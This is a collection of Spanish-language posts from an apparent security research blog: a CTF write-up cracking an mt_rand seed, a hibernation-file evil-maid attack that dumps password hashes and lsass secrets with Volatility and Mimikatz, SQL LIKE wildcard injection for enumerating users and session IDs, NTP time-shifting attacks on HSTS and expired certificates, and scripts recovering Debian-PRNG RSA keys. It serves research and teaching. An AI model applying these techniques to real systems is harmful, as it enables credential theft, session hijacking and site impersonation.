Pentester.es

Undo Five/Nine (Crypto 300, Lisbon CTF)

noreply@blogger.com (Jose Selvi) — Tue, 14 Nov 2017 08:00:00 +0000

La semana pasada tuve la oportunidad de participar en la parte presencial de CTF de las Bsides de Lisboa. Hice equipo con algunos compañeros e intentamos resolver algunas de las pruebas.

Uno de los retos en los que estuve trabajando fue "Crypto 300: Undo Five/Nine". No anoté el enunciado del reto, pero basicamente te proporcionaban un trozo de código PHP "snip.php" y otros dos ficheros: "readme.txt" y "readme.txt.fsociety".

Un vistazo rápido a "snip.php" nos ayuda a entender como los otros dos ficheros son utilizados o generados:

$crypted = fopen($file . ".fsociety", "w");
$fp = fopen($file, "r+");
$clear = fread($fp, 2048);
// destroy original file
destroy_file($fp,strlen($clear));

// generate unique key
$key = gen_aes_key();
$aes = new Crypt_AES(CRYPT_AES_MODE_ECB);
$aes->setKeyLength(128);
$aes->setKey($key);

// create encrypted file
$clear = $aes->encrypt($clear);
fwrite($crypted,$clear,strlen($clear));

Como podemos ver, este código PHP lee un texto de "readme.txt" y posteriormente destruye el fichero de algún modo. Seguidamente una clave de cifrado es generada y el texto es cifrado usando AES-128 en modo ECB. El texto cifrado es guardado en el fichero "readme.txt.fsociety".

Por lo que parece, deberíamos ser capaces de recuperar el texto original de algún modo. Como la clave no es almacenada, es evidente que nos encontramos con algún tipo de debilidad en la generación de la clave. Echemos un vistazo:

function gen_aes_key() {

$key = "";

for ($i = 0;$i < 16;$i++)

$key.= chr(mt_rand(0, 255));

return $key;

}

Bueno, esto encaja con lo que pensabamos. La función "mt_rand" genera un valor aleatorio empleando el generador de números "Mersenne Twister". Esta función, tal y como su documentación avisa, no es criptograficamente segura. Después de "googlear" un poco, encontré más información sobre esta deficiencia, de donde se puede leer la siguiente información:

"Common misuses of mt_rand() include generation of anti-CSRF tokens, custom session tokens (not relying on PHP's builtin sessions support, which uses a different PRNG yet was also vulnerable until recently), password reset tokens, passwords, database backup filenames, etc. If one of these items is exposed and another is generated later without the web application or server reseeding the PRNG, then an attack is possible where the seed is cracked from the item generated earlier and is then used to infer the unknown item generated later."

Por lo que dice, según parece debería haber al menos otra llamada a "mt_rand" y deberíamos ser capaces de averiguar su resultado para ser capaces de explotar esta vulnerabilidad. Peguémosle un vistazo al código que define como se destruye el fichero original:

function destroy_file($fp,$len) {

$random = "";

for ($i = 0;$i < $len;$i++)

$random.= chr(mt_rand(0, 255));

fseek($fp, 0);

fwrite($fp, substr($random, 0, $len));

fclose($fp);

}

¡Bingo! El fichero es sobreescrito con valores "aleatorios" generados con la misma función, lo cual quiere decir que si somos capaces de obtener la semilla, podríamos regenerar toda la secuencia de números a partir de esta, y obtener la clave de cifrado.

¡Vamos a ello! Estuve leyendo la documentación del seed cracker, pero no resultó tan fácil como inicialmente pensé. Esta herramienta tiene varios modos de operación y no resulta obvio elegir los parámetros que necesitas. Finalmente, entendí que debía construir el comando de la siguiente forma:

$ ./php_mt_seed [first_num] [first_num] 0 255 [second_num] [second_num] 0 255 ...

Pero como tenía unos cuantos bytes (los del fichero "readme.txt"), decidí generar los parámetros empleando algunas lineas de código PHP:

$fp = fopen("readme.txt", "r+");

$clear = str_split( fread($fp, 2048) );

foreach ($clear as $v) {

echo ord($v) . ' ' . ord($v) . " 0 255 ";

}

Este código generó los parámetros que necesitaba, con los que lancé el seed cracker. Pasados un minuto o dos, obtuve la respuesta: "844114388". Ahora necesitamos generar toda la secuencia a partir de esta semilla. Para ello podemos usar de nuevo unas pocas lineas de código PHP:

mt_srand(844114388);

for ($i = 0;$i < 64;$i++)

echo chr(mt_rand(0, 255));

Cuando generamos esta secuencia, podemos observar que los primeros valores coinciden con los valores contenidos en "readme.txt". Después de esos bytes podemos observar la clave de cifrado (16 bytes).

$ php gen.php | xxd

00000000: 7b36 0ee9 f9b9 1cfe d0bb d0e6 1311 5828 {6............X(

00000010: fcfe 84a6 7453 03f6 85b6 e270 76c3 41f8 ....tS.....pv.A.

00000020: aec4 9ca5 f658 dda4 20f2 1c9f 5d14 b5b1 .....X.. ...]...

00000030: beb5 1669 3135 31f9 30bc 9438 d0ac d0d6 ...i151.0..8....

Ya solo nos queda descifrar el fichero cifrado:

$ openssl enc -aes-128-ecb -d -K "f658dda420f21c9f5d14b5b1beb51669" -in readme.txt.fsociety
flag{the_darkarmy_is_now_on_to_you}

¡Bang! ¡Conseguido! Desafortunadamente no fui capaz de puntuar con el flag ¿Por qué? Por dos motivos. El primero porque, por alguna razón, tenía en la cabeza que "snip.php" estaba generando enteros y luego truncandolos a byte, así que estuve cerca de una hora intentando entender el código y modificarlo para ajustarlo a esta circunstancia. El segundo porque el código que estaba escribiendo contra-reloj para descifrar el mensaje me dio un "syntax error" 10 segundos antes de que se acabara el tiempo del CTF, así que ya no pude arreglarlo a tiempo. En cualquier caso, me lo pasé muy bien en el CTF :)

Ataques Evil-Maid con Hibernación

noreply@blogger.com (Ramon Pinuaga) — Mon, 19 Dec 2016 08:30:00 +0000

He colgado la charla que di en la última RootedCon Valencia sobre la técnica de ataque Evil-Maid explotando el fichero de hibernación de Windows.

Esta técnica no es nueva (ni la he descubierto yo), pero esta poco documentada.

También he hablado de este tipo de ataques, de forma más general en el blog de Areopago21.

En este post voy a centrarme más en la parte práctica.

Resumiendo: Si conseguimos acceso físico a un equipo y este esta encendido (pero bloqueado) o suspendido. Podemos intentar recuperar la información volátil critica (identificadores de sesión, contraseñas en claro, llaves de cifrado) del fichero de hibernación.

Para obtener el fichero de hibernación, tendremos que extraerlo del disco duro. Bien arrancando desde un dispositivo externo (Linux para forense, Hirens bootcd, etc.) o bien sacando el disco duro del equipo. Si el disco está cifrado, se complica la cosa.

Este fichero está en la raíz del disco: c:\hiberfyl.sys. Desde el propio Windows el fichero está oculto por defecto y bloqueado de forma que no puede ser leído.

El fichero de hibernación nunca se borra, solo se modifica su cabecera cuando ha sido usado para reiniciar. De forma que si el equipo alguna vez se ha hibernado, vamos a tener este fichero ya creado. Sino, tenemos que forzar al equipo a hibernarse.

Esto es posible aunque el equipo este bloqueado, si el usuario tiene activa la opción de hibernación:

Por desgracia, a partir de Windows 7, la opción de hibernación viene deshabilitada por defecto. Aunque algunos fabricantes de portátiles la activan.

Por suerte, existe otra forma de forzar el hibernado. Si la batería llega a nivel crítico el equipo se hiberna de forma automática. Configurado por defecto en todas las versiones de Windows incluso en Windows 10.

Una vez tenemos el fichero de hibernación ya podemos trabajar sobre él.

La herramienta básica para esta tarea es Volatility, con ella podemos entre otras cosas:

• Obtener información sobre el fichero de hibernación: vol.exe hibinfo -f hiberfil.sys

• Convertirlo a formato raw: vol.exe imagecopy -f hiberfil.sys -O hiberfil.bin

• Convertirlo a formado DMP (compatible con Windbg): vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp

• Obtener datos de navegación: vol.exe iehistory -f hiberfil.sys

• Obtener hashes de contraseñas locales: vol.exe hashdump -f hiberfil.sys

• Obtener llaves de cifrado Truecrypt: vol.exe truecryptpassphrase -f hiberfil.sys

Ejemplo de uso de Volatility:

También tenemos múltiples plugins de la comunidad para otras tareas: mimikatz, bitlocker, bitcoin, etc.

Para la conversión también podemos utilizar las herramientas de Matt Suiche (recién actualizadas), antes conocidas como MoonSols Windows Memory Toolkit. Funcionan mejor que Volatility y soportan todas las versiones de Windows hasta Windows 10.

A pesar de que tenemos un plugin de Mimikatz para Volatility es bastante limitado así que es mucho mejor trabajar directamente con Mimikatz. Para ello tenemos que:

• Convertir el fichero hiberfil.sys a un formato manejable por Windbg (DMP):

o vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp –profile=Win7SP0x64

• Cargar el DMP en Windbg:

o .symfix => Configura los repositorios de símbolos de Microsoft

o .reload => Recarga los símbolos necesarios

o .load wow64exts => Carga el modulo para hacer debug de procesos WOW64

o !wow64exts.sw => Activa las extensiones WOW64

• Cargar el módulo de Mimikatz en Windbg:

o .load c:\Users\rpinuaga\Desktop\bad-hibernation\demo\mimilib64.dll => Carga el módulo de Mimikatz

o !process 0 0 lsass.exe => Busca el proceso de lsass (Local Security Authority Subsystem Service)

o .process /r /p fffffa800424e910 => Configura el contexto al proceso de lsass

o !mimikatz

Y listo, aquí tenemos el resultado:

Nota: Volatility solo soporta ficheros de hibernación hasta Windows 7 (A partir de Windows 8, su formato cambia un poco). La nueva herramienta de Matt Suiche en teoría si lo permite, pero la última vez que probé el fichero resultante de la conversión tampoco era reconocido por Volatility.

Inyección de comodines SQL en búsquedas de tipo LIKE

noreply@blogger.com (Ramon Pinuaga) — Wed, 17 Feb 2016 07:00:00 +0000

A continuación voy a hablar de una vulnerabilidad muy poco conocida y tradicionalmente considerada como de poco riesgo, aunque como vamos a ver en algunas situaciones puede tener un gran impacto.

Esta vulnerabilidad consiste en la posibilidad de inyectar un comodín (wildcard) en el campo de búsqueda del operador LIKE de una sentencia SQL.

OWASP menciona brevemente en sus guías este tipo de inyecciones.

En SQL tenemos 2 tipos de comodines:

% que equivale a cualquier cadena de cero o más caracteres.
_ que equivale a cualquier carácter único.

Una aplicación es vulnerable a este ataque cuando realiza una búsqueda de tipo LIKE con un parámetro recibido del usuario sin filtrar estos 2 comodines.

Por ejemplo si tenemos una aplicación con la siguiente URL:

http://www.ejemplo.com/fruta.php?nombre=manzana

Que muestra un texto extraído de una BBDD mediante una sentencia SQL como la siguiente:

SELECT texto FROM tabla WHERE fruta LIKE ‘$nombre’

En vez de usar la forma simple:

SELECT texto FROM tabla WHERE fruta=‘$nombre’

Aunque la variable $nombre esté saneada para evitar la inyección de SQL (por ejemplo filtrando el carácter comilla simple) sigue siendo posible la inyección de los comodines de búsqueda, de la siguiente forma:

http://www.ejemplo.com/fruta.php?nombre=man%

En una aplicación de este tipo, el poder alterar la lógica de la búsqueda tal vez no sea crítico, pero ¿y si tenemos otra aplicación como la siguiente? (de la que no conocemos ningún nombre de usuario):

http://www.ejemplo.com/userfoto.php?nombre=pepe

Podemos fácilmente hacer lo siguiente para obtener un listado de todos los usuarios disponibles:

http://www.ejemplo.com/userfoto.php?nombre=a%

http://www.ejemplo.com/userfoto.php?nombre=b%

http://www.ejemplo.com/userfoto.php?nombre=c%

…

Podemos automatizar el proceso mediante un pequeño script que nos vaya sacando los nombres de cada usuario carácter a carácter (a lo película juegos de guerra).

¿En qué situaciones puede ser peligrosa una vulnerabilidad de este tipo?:

En formularios de login. Me he encontrado varias veces esta vulnerabilidad en el campo “usuario” de alguno de estos formularios y menos habitualmente en el campo “contraseña”.
En formularios de recuperación de contraseñas. Puede permitirnos resetear la contraseña de terceros usuarios.
En campos que contienen identificadores de sesión o tokens. Nos podría permitir “robar” tokens o sesiones de otros usuarios.

Aunque parezca mentira esto funciona algunas veces:

La inyección del carácter % a veces puede ser problemática, porque suele estar filtrado para evitar ataques de encoding o precisamente porque es decodificado incorrectamente (en este caso podemos probar %25, %2525).

Hace tiempo me encontré una curiosa situación en una aplicación que autenticaba mediante un identificador de sesión que almacenaba en una base de datos y que extraía mediante una búsqueda vulnerable, de esta forma:

http://www.ejemplo.com/admin/privado.php?sessionid=0123456789

El servidor filtraba el carácter %, pero se permitía el carácter _ de forma que podíamos explotar la vulnerabilidad de la siguiente forma:

http://www.ejemplo.com/admin/privado.php?sessionid=__________

Si queríamos acceder a alguna sesión en concreto solo teníamos que hacer un barrido:

http://www.ejemplo.com/admin/privado.php?sessionid=0_________

http://www.ejemplo.com/admin/privado.php?sessionid=1_________

http://www.ejemplo.com/admin/privado.php?sessionid=2_________

…

¿Porque algunos programadores son víctimas de un bug tan evidente?

Algunas veces supongo que será por despiste, pero también he detectado que algunos frameworks encapsulan las llamadas SQL de forma transparente para el programador y si internamente usan el operador LIKE, es posible que este ni siquiera lo sepa.

Por ejemplo en Django la siguiente sentencia:

result=Entry.objects.get(headline__contains='Lennon')

Equivale a:

SELECT ... WHERE headline LIKE '%Lennon%'

Lo que puede derivar fácilmente en múltiples vulnerabilidades si el desarrollador no es cuidadoso.

O también este otro bug del mismo estilo en el módulo Propel de Symfony.

Herramientas de ayuda para Delorean

noreply@blogger.com (Jose Selvi) — Tue, 26 Jan 2016 08:00:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

[7] Otros ataques
[8] Herramientas de ayuda

Descargo de responsabilidad: Toda la información se ha obtenido de una forma empirica, realizando pruebas, y en un periodo de tiempo concreto, con lo que puede haber cambiado en el momento de leer este artículo.

Por fin hemos llegado al último post de esta serie sobre Delorean. Llegados a este punto, hemos hablando de los ataques que probamos, sobre la herramienta, y muchas otra cosas. Sin embargo, si prestáis atención al repositorio de Deloran, veréis que hay un par de scripts python de los que no habíamos hablado antes. Son pequeñas herramientas que desarrollé porque necesitaba una funcionalidad concreta pero que no tenía sentido integrarlas con Delorean, así que lo mantuve como herramientas separadas.

La primera herramienta es hsts_catcher.py, que es una herramienta muy sencilla que conecta a un website y te devuelve su configuración HSTS. Nada que no puedas hacer con curl y grep:

$ ./hsts_catcher.py -U https://accounts.google.com -A "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"

max-age=10893354; includeSubDomains

La segunda herramienta es crl_checker.py, que en bastante más interesante que la anterior. Mientras estuve buscando certificados para usar para mis ataques, me encontré con un problema: Algunos certificados que había encontrado tenían problemas de validez en su cadena, por ejemplo, su root CA había expirado. Lamentablemente, comprobar la validez de cada cadena de forma manual era ~~una putada~~ un proceso muy largo y tedioso, así que la manera más cómoda era usar el propio navegador para comprobar si aceptaba la cadena no. Sin embargo, hay otro problema con esto: Los servidores web necesitan tanto el certificado como la clave privada, y encontrar este clave privada sin saber si luego el certificado te valdrá o no... es un proceso excesivamente costoso como para hacerlo a ciegas. El problema era un circulo vicioso.

Por eso decidí desarrollar esta herramienta. col_checker.py implementa las primeras etapas de SSL, donde no se requiere en realidad el uso de la clave privada, pero sí se realiza la fase de validación del certificado, con lo que podemos comprobar su validez. Solo tenemos que lanzar la herramienta usando este comando y visitar el puerto con el navegador:

$ ./crl_checker.py -p 10443 -c /etc/apache2/ssl/ietf.crt

A veces hace falta refrescar varias veces para que aparezca este mensaje. Probablemente mi implementación del hanshake d SSL está demasiado hardcodada, pero no me he metido a fondo a mirarlo ya que la herramienta sigue siendo útil.

Un mensaje como el de arriba significa que el certificado es perfecto para nuestro ataque. Salen algunos mensajes de advertencia sobre el nombre del hosts o la fecha, pero estos son lógicos y no nos preocupan, ya que estamos corriendo el servidor en una IP local y la fecha... es algo que podemos solucionar con Delorean.

Si tienes mala suerte, verás otros mensaje de advertencia, como por ejemplo "the issuer certificate is unknown" que quiere decir que la CA que firma l certificado probablemente ha sido eliminada de la lista de confianza del navegador, o algún otro problema similar, así que mejor buscar otra víctima.

Otros ataques usando Delorean

noreply@blogger.com (Jose Selvi) — Mon, 25 Jan 2016 06:36:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

Los ataques que hemos estado viendo en los artículos anteriores son los que considero que son más probables y que tienen un mayor impacto. Sin embargo, también estuve probando otras opciones utilizando ataques de sincronización. Algunos de ellos funcionaros, pesar de ser poco probables, y otros de ellos no funcionaron en absoluto.

Uno de los ataques que funcionó fue un ataque contra el planificador de taras de Windows. Como probablemente sepáis, hay un servicio que corre en las máquinas Windows que se encarga de ejecutar ciertas tareas de mantenimiento en segundo plano, como por ejemplo la propia tareas de sincronización de hora.

El planificador de tareas guarda la información de la última vez que una tarea se ejecutó, y la siguiente vez que lo hará. Estos campos son importantes porque, depende de como se haya configurado la tarea, el "Next Run Time" a veces se calcula en base al "Last Run Time", lo cual nos da la oportunidad de manipular la siguiente ejecución de la tarea si conseguimos manipular al reloj usando Delorean.

No todas las tareas calculan la hora de la siguiente ejecución de esta manera, pero hay algunas tareas interesantes que sí que lo hacen, como por ejemplo el servicio de actualizaciones automáticas de Windows.

¿Qué ocurre entonces si manipulamos el reloj usando Delorean, tal y como vimos en anteriores artículos, y la tarea de actualizaciones automáticas es ejecutada? Pues que el "Last Run Time" se ejecutará con la fecha manipulada (por ejemplo, 2020), así que la siguiente ejecución de la tarea se calculará en base a esta fecha, es decir, ocurrirá en algún momento de 2020. Esto no debería ser un problema siempre y cuando el equipo se mantenga con la fecha manipulada para siempre, pero si en algún momento el equipo vuelve a la fecha original... la siguiente ejecución del servicio de actualizaciones automáticas no se ejecutará en los próximos 4 años, con lo que el usuario no será advertido de la existencia de nuevas actualizaciones y parches de seguridad si no lo comprueba manualmente.

En realidad, este es un ataque poco problema, ya que Windows es la plataforma en la que es más complicado realizar un ataque con Delorean, y porque al menos yo no encontré una manera de devolver el reloj a su hora original sin la intervención del usuario. Sin embargo, otras tareas y otras plataformas (como cron en Linux, por ejemplo) podrían también ser manipuladas de una manera similar.

Atacando la Infraestructura de Clave Pública

noreply@blogger.com (Jose Selvi) — Wed, 04 Nov 2015 09:30:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

Descargo de responsabilidad (2): En este artículo hablo de certificados, claves SSL, etc. En ocasiones diré cosas como "la clave privada del certificado", ya que es la manera en la que normalmente me expreso, aunque probablemente no sea el término más correcto. Debería decir cosas como "la clave privada de la clave pública del certificado", pero creo que resulta más sencillo de entender si lo simplifico un poco. En cualquier caso, si algo no se entiende bien solo tenéis que mandarme un correo o dejar un comentario e intentaré aclararlo.

De los ataques en los que he estado trabajando desde que empecé con esta investigación, el ataque contra PKI es mi favorito. Es algo que me vino a la cabeza cuando me paré a pensar que más servicios o protocols podrían funcionar mal si conseguía manipular el reloj de un equipo.

Como probablemente sepáis, un certificado SSL es válido bajo las siguientes condiciones:

Ha sido firmado por una entidad de certificación de confianza (CA) o por una CA intermedia que a su vez a sido firmada por una CA de confianza.
El "Common name" del certificado coincide con el hostname del servidor (los comodines están permitidos).
La fecha actual está entre las fechas "Not valid before" y "Not valid after".

Cuando un certificado SSL expire necesitamos uno nuevo, y del viejo normalmente nos olvidamos, ya que éste sería inválido (3er caso). Sin embargo, con Delorean esto no es completamente cierto, ya que podemos manipular la hora del reloj y hacer que el equipo crea que el certificado viejo aún es válido.

Para poder usar un certificado de esta manera, necesitamos que éste cumpla una serie de condiciones:

Tenemos que reconstruir la antigua cadena de certificados: Esto no es un problema, ya que los certificados de las CAs normalmente tiene periodos de valicez muy largos, así que probablemente la cadena de certificados actual también funcionará con el certificado antiguo. Sino, es fácil encontrar los certificados buscando el "Issuer name" del certificado en Internet.
La root CA (la que empieza una cadena de certificados) tiene que ser ua CA de confianza para el sistema operativo/navegador: Si la root CA expira y se elimina de la base de datos del navegador, éste no será capaz de validad la cadena de certificados. Este problema solo ocurre con la root CA, que es la que debe estar instalada en el navegador. Cualquier otra CA intermedia se pude usar a pesar de que se encuentre expirada.
Tenemos que encontrar certificados viejos de hosts: Esto es más difícil de lo que parece. Lo veremos un poco más abajo.
Tenemos que poder obtener la clave privada deel certificado de host: Esta es la única clave privada que necesitamos obtener. Al ser un certificado viejo, su clave debería ser más fácil de obtener que en un certificado actual. Hablaremos de esto más adelante también.

Pero... ¿De donde sacamos estos certificados viejos? Si hace 10 años lo hubira sabido, hubiera hecho un crawling de Internet y me hubiera guardado los certificados SSL, pero como no lo hice... necesitamos tirar de alguna base de datos pública, cuanto más vieja mejor. Invertí mucho tiempo buscandola, y lo mejor que encontré fue The SSL Observatory de EFF, que cuentan con una base de datos de certificados SSL de 2010.

Ahora que ya tenemos una base de datos de certificados SSL viejos, podemos empezar a buscar a ver cuales de ellos tienen pinta de que los vamos a poder romper. Por ejemplo, algo que me vino a la cabeza fue FREAK. Como parte de est ataque, los investigadores crackeron un RSA-512 en unas pocas horas, usando un cluster de máquinas en Amazon EC2, así que no vi porque no podríamos hacr nosotros algo similar con las claves RSA-512 presentes en nuestra base de datos.

Desafortunadamente, los objtivos más importantes (Google, Facebook, etc) ya no usaban RSA-512 en 2010. Quizá si tuvieramos una base de datos más antigua... En cualquier caso, encontré algunos certificados interesantes y algunos bastante divertidos, como por ejemplo una página de Disney (no la página principal).

Descargo de responsabilidad (3): Cuando hago una demo con Deloran y uso una página web, NO estoy atacando esa página. La página NO es vulnerable. Estoy atacando un clinte vulnerable, que es mi propia máquina de pruebas, así que me estoy atacando a mi mismo, no a la página web.

No voy a contar paso por paso como crackear un RSA-512 porque sería un artículo (o varios) en si mismo, y porque tampoco es un tema en el que yo sea un experto. Si tenéis interés, os dejo algunos enlaces [1][2][3][4]. Resumiento, tuve 4 máquinas en EC2 corriendo durante 3 días (si no recuerdo mal) y al final costó al rededor de $150 en total.

Una vez que has factorizado la clave tienes los dos números primos que se usaron para generar las claves pública y privada, así que solo necesitas generarlas de nuevo (private-from-pq.c) para obtener la clave privada, y ver si funciona:

¡Funciona! La cadena de certificados es válida y tenemos la clave privada, así que podemos engañar al navegador e impersonar la página ¡Genial!

Por lo que he podido leer (no soy un experto), los Gobiernos y otros organismos con suficientes recursos podrían crackear RSA-1024 en un tiempo razonable. Ésto es aún más interesante que mi demo, porque RSA-512 en estos momentos está baneado en la mayoría de navegadores, así que estos rechazarían la cadena de certificados, aunque ésta sea válida. Hice esta demo usando un RSA-512 porque en este momento yo no dispongo de la capacidad computacional para crackear RSA-1024, y porque el proceso es exactamente el mismo, con lo que podríamos hacer lo mismo con un RSA-1014 en un navegador completamente actualizado si dispusieramos de esta potencia.

Ésta no es la única debilidad que podemos usar:n use:

Claves hackeadas
Claves extraidas con Heartbleed
Firma de certificados débil (consultar "MD5 considered harmful today")
Claves generadas con el bug de Debian PRNG
Muchas más...

Pero hay algo que probablemente estaréis pensando ¿Qué pasa con la revocación? No sería un problema para claves crackeadas, porque nunca fueron revocadas, pero los certificados robados, obtenidos con heartbled, afectados por le bug de debian prng, ... todos esos certificados deberían haber sido revocados cuando se generaron los nuvos.

Una lista de revocación de certificados (CRL) es una base de datos donde se guardan los certificados que han sido revocados. Los navegadores se la descargan (o la consultan online) y comprueban si el certificado que les proporciona un servicio ha sido revocado o no. Si lo está, entonces rechazan la comunicación aunque la cadena de certificados sea válida..

Cuando me encontré con este problema, la pregunta que vino a mi cabeza fue: ¿Esas CRLs guardan TODOS los certificados revocados? ¿Desde el principio de los tiempos? Eso haría que el fichero fuera ENORME, lo cual podría afectar al rendimiento. Bien, no puedo estar 100% seguro de esto, pero hice unas rápidas pruebas para ver si las CAs purgan sus CRLs cuando los certificados revocados caducan.

Me centré en una prueba muy sencilla. Abri varias páginas muy conocidas con mi navegador y me bajé el certificado de la CA que lo firmaba. También me bajé la CRL que estaba referenciada en dicho certificado y busqué grandes diferencias entre la fecha de creación de la CA y la fecha de revocación más antigua de la CRL. Por ejemplo, si una CA fue creada en 2008, pero el primer certificado que se revocó fue en 2012, y el siguiente en 2014... es un poco extraño. Mi humilde opinión es que estas CAs están purgando los certificados expirados porque éstos son inválidos en cualquier caso, estén revocados o no. Esto es 100% cierto, pero nos permite utilizar nuestro ataque contra estos certificados, aunque debieran estar revocados.

OCSP no resulta muy útil contra estos ataques, ya que la mayoría de los navegadores están configurados para aceptar los certificados cuando no pueden validar si están revocados o no, con lo que un atacante únicamente tiene que bloquear las conexiones contra OCSP para que sus certificados revocados sean aceptados. Más informacion AQUÍ.

De la lista de antes, me decidí a buscar certificados generados con el bug de Debian PRNG. El problema era que ésto ocurrió en 2008, mientras que la base de datos de la que disponemos era 2010, así que todas las páginas web interesantes habían cambiado ya su certificado antes de 2010.

Buscando por Internet encontré CodeFromThe70s. Esta gente desarrolló un plugin para Firefox que detectaba los certificados vulnerables y se los enviaba. Ellos mantenían una blacklist genial en su página que nos podémos descargar y usar para ver si aún estarán revocados o no.

El siguiente paso fue obtener la clave privada. No fue tan fácil como pensaba, porque las listas pre-generadas que publicó HD Moore eran para SSH, así que tuve que generarme las mias propias para HTTPS. Lo que hice fue usar el "getpid.so" parcheado original y el entorno "ubunturoot" (el enlace original está roto, así que yo me lo bajé de aquí), y desarrollé un par de scripts en shell para generar todas las posibles claves SSL y comprobar si era la que estaba buscando:

$ cat keyfind.sh
#!/bin/bash
TARGET=0123456789abcdef0123456789abcdef

for PID in `seq 1 32768`
do
    chroot . /generate.sh $PID &>/dev/null
    openssl rsa -in private.pem -noout -modulus | openssl md5 | awk '{print $2}' | grep "$TARGET"
    if [ $? -eq 0 ]
    then
        cp private.pem found.pem
        echo "FOUND!"
        exit
    fi
    rm -f private.pem
    echo $PID
done

$ generate.sh
#!/bin/bash

export MAGICPID=$1
export LD_PRELOAD=/getpid.so
/usr/bin/openssl genrsa -out private.pem 1024 &>/dev/null

En unas pocas horas tenía la clav privada. Quizá hubiera sido más eficiente de otro modo, pero funcionó al fin y al cabo. Veamos la demo:

Mi charla de DEF CON ( 7 de Agosto de 2015) está online, así que también le podéis pegar un ojo. También presenté la charla en Español en RootedCON (Marzo 2015) y NavajaNegra/ConectaCON (Octubre 2015),pero los videos aún no han sido publicados:

Atacando HTTP Strict Transport Security

noreply@blogger.com (Jose Selvi) — Mon, 02 Nov 2015 15:00:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

En los últimos artículos hemos visto como funciona la sincronización de hora en diferentes sistemas operativos, y como podríamos cambiar eel reloj interno usando Delorean en cada uno de ellos. Sin embargo, aún no hemos hablado de ningún ataque practico que podamos realizar alerando dicho reloj.

Esta investigación la empecé después de haber estado intentando hacer una demo de MitM usando SSLStrip. A pesar de que había hecho demos similares mil veces, no conseguí que me funcionara cuando intentaba visitar GMail y otras webs similares. Cuando analicé el problema, descubrí la existencia de una cabecera "Strict-Transport-Security" que nunca había visto antes.

HTTP Strict Transport Security (alias HSTS) es un mecanismos de seguridad que fue publicado en 2012 y que, a pesar de que aún no está siendo usando masivamente en Internet, sí que es utilizado por los principales proveedores de servicios. La parte servidor es muy sencilla, ya que únicamente es necesario enviar la cabecera HTTP "Strict-Transport-Security" para aplicar la política deseada usando los parámetros "max-age" e "includeSubdomains". En el ejemplo de arriba, el servidor web está configurando una política que dice "¡ey! No importa lo que pase, pero por favor conecta conmigo siempre usando HTTPS durante los próximos 3153600 segundos".

La parte más complicada de HSTS recae en el lado del navegador. Un navegador necesita leer la cabecera y tomar las acciones necesarias para asegurarse que se cumple la política. La mayoría de navegadores soportan HSTS en la actualidad, aunque IE no lo ha soportado hasta el 9 de Junio de este año. Mientras estaba hablando en DEF CON (Agosto 2015), un asistente me corrijió cuando dije que "IE no soporta HSTS", lo cual era cierto en aquel momento. Le pregunté si era algo reciente y me dijo que hacía 6 meses de aquello, aunque la documentación que he podido encontrar no habla de esas fechas. En cualquier caso, en este momento IE sí que soporta HSTS.

Además, Google y Mozilla crearon una lista precargada de HSTS en sus navegadores (idea posteriormente utilizada también en otros navegadores). Una lista precargada es una lista de proveedores conocidos (google, twitter, facebook, paypal, etc) para los que el uso de HSTS "está forzado". El objetivo de esta lista precargada es evitar que un atacante aproveche los momentos siguientes a la instalación del navegador o a la limpieza de las cachés, o cuando se visita una página por primera vez, antes de que se configure ninguna política.

Aunque la información que podemos encontrar desde Google y Mozilla parece que hablan de la lista precargada como si fuera una lista estática, lo cierto es que las entradas precargadas son tratadas exactamente igual que las entradas dinámicas. Cuando un navegador es instalado y so caché es limpiada, todas las entradas de esta lista son añadudas como entradas dinámicas usando un valor por defecto (10 semanas) y son actualizadas del mismo modo que cualquier entrada dinámica, por lo que no representa un problema a la hora de utilizar Delorean.

El único navegador de los que estuve analizando que funcionaba de una forma diferente fue Apple Safari, que guarda la lista precargada en un fichero .plist y fuerza siempre que esos hosts se visiten por HTTPS, indepientement de la fecha del equipo.

Como sabemos que la política de HSTS nos va a impedir interceptar la primera conexión HTTP y, como consecuencia, a user SSLStrip (o interceptar la comunicación de otro modo) durante la cantidad de segundos especificada como "max-age", nuestro ataque contra HSTS consiste en actualizar la hora local de tal forma que forcemos la expiración de la caché de HSTS. Cuando no hay entradas en la caché de HSTS, el navegador se comporta de la forma habitual, con lo que al teclear nombres de hosts como "mail.google.com" se conectará usando HTTP antes de ser redirigido a HTTPS.

Este fue el principal ataque que enseñe en la BlackHat Europe del año pasado, que ya fue publicada hace unos meses, así que podéis pegar un vistazo, pero no vale burlarse de mi Inglés ;)

Sincronización de tiempos en Microsoft

noreply@blogger.com (Jose Selvi) — Fri, 30 Oct 2015 07:30:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

[7] Otros ataques
[8] Herramientas de ayuda

Por supuesto, no podría acabar mis ejemplos sin hablar de Microsoft. De los sistemas operativos de escritorio con los que he estado haciendo pruebas, Microsoft tiene el sistema de sincronización de tiempos más segudo. Funciona de manera diferente en sistemas "standalone" que en miembros de un dominio, así que veamos ambas circunstancias.

